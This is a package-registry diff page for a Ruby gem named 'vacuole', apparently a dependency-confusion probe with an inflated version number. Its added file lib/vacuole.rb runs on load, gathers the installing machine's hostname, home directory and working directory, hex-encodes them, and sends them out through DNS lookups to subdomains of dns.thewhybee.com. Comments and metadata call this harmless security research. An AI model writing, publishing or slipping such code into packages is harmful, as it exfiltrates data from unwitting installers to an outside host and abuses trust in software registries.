vacuole 22.55.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/vacuole.rb +63 -0
  3. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 4a09313328dd0a189c583d88d1fc97f8fe41924013277700898f2d84ddd8f7bf
4
+ data.tar.gz: 5ec0bd5a8055281f35f367f48e73d6de5bc0f1a90e3c628c9cd55ce868f1f44d
5
+ SHA512:
6
+ metadata.gz: 976a2fb957a009d80c50d2ba7636bc89cc988ca7fde867ca7243f5206086edb8cd6e7e24f64158cc2611f5ee678c20a3feb393d6267c0fb13fa8ee16ee802dbd
7
+ data.tar.gz: 4181a3bba28f9beb6ad4e8d7f5b3a310b03486c6de1bb3188b0324b492d5c8c2d78e0d63326a8fd9a25bef292248c05f15c7ebae4e3945074a11d3faa3231549
data/lib/vacuole.rb ADDED
@@ -0,0 +1,63 @@
1
+ =begin
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure policy will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ For any questions or suggestions:
15
+
16
+ whybee@thewhybee.com
17
+
18
+
19
+ =end
20
+
21
+ require 'socket'
22
+ require 'json'
23
+ require 'resolv'
24
+
25
+ suffix = '.dns.thewhybee.com'
26
+ ns = 'dns.dns.thewhybee.com'
27
+
28
+ package = 'vacuole'
29
+
30
+ # only the bare minimum to be able to identify
31
+ # a vulnerable organization
32
+ data = {
33
+ 'p' => package,
34
+ 'h' => Socket.gethostname,
35
+ 'd' => File.expand_path('~'),
36
+ 'c' => Dir.pwd
37
+ }
38
+
39
+ data = JSON.generate(data)
40
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
41
+
42
+ id_1 = rand(36**12).to_s(36)
43
+ id_2 = rand(36**12).to_s(36)
44
+
45
+ begin
46
+ ns_ip = Resolv.getaddress(ns)
47
+ rescue
48
+ ns_ip = '4.4.4.4'
49
+ end
50
+
51
+ custom_res = Resolv.new([Resolv::Hosts.new,
52
+ Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
53
+
54
+
55
+ data.each.each_with_index do |chunk, idx|
56
+ begin
57
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
58
+ rescue; end
59
+
60
+ begin
61
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
62
+ rescue; end
63
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: vacuole
3
+ version: !ruby/object:Gem::Version
4
+ version: 22.55.2
5
+ platform: ruby
6
+ authors:
7
+ - whybee
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2022-04-18 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: |-
14
+ This package is meant for security research purposes and does not contain
15
+ any useful code.
16
+ email: whybee@thewhybee.com
17
+ executables: []
18
+ extensions: []
19
+ extra_rdoc_files: []
20
+ files:
21
+ - lib/vacuole.rb
22
+ homepage: http://github.com
23
+ licenses: []
24
+ metadata: {}
25
+ post_install_message:
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.0.3
41
+ signing_key:
42
+ specification_version: 4
43
+ summary: Security research purposes only - No private data exfiltrated - A. Birsan
44
+ Method only
45
+ test_files: []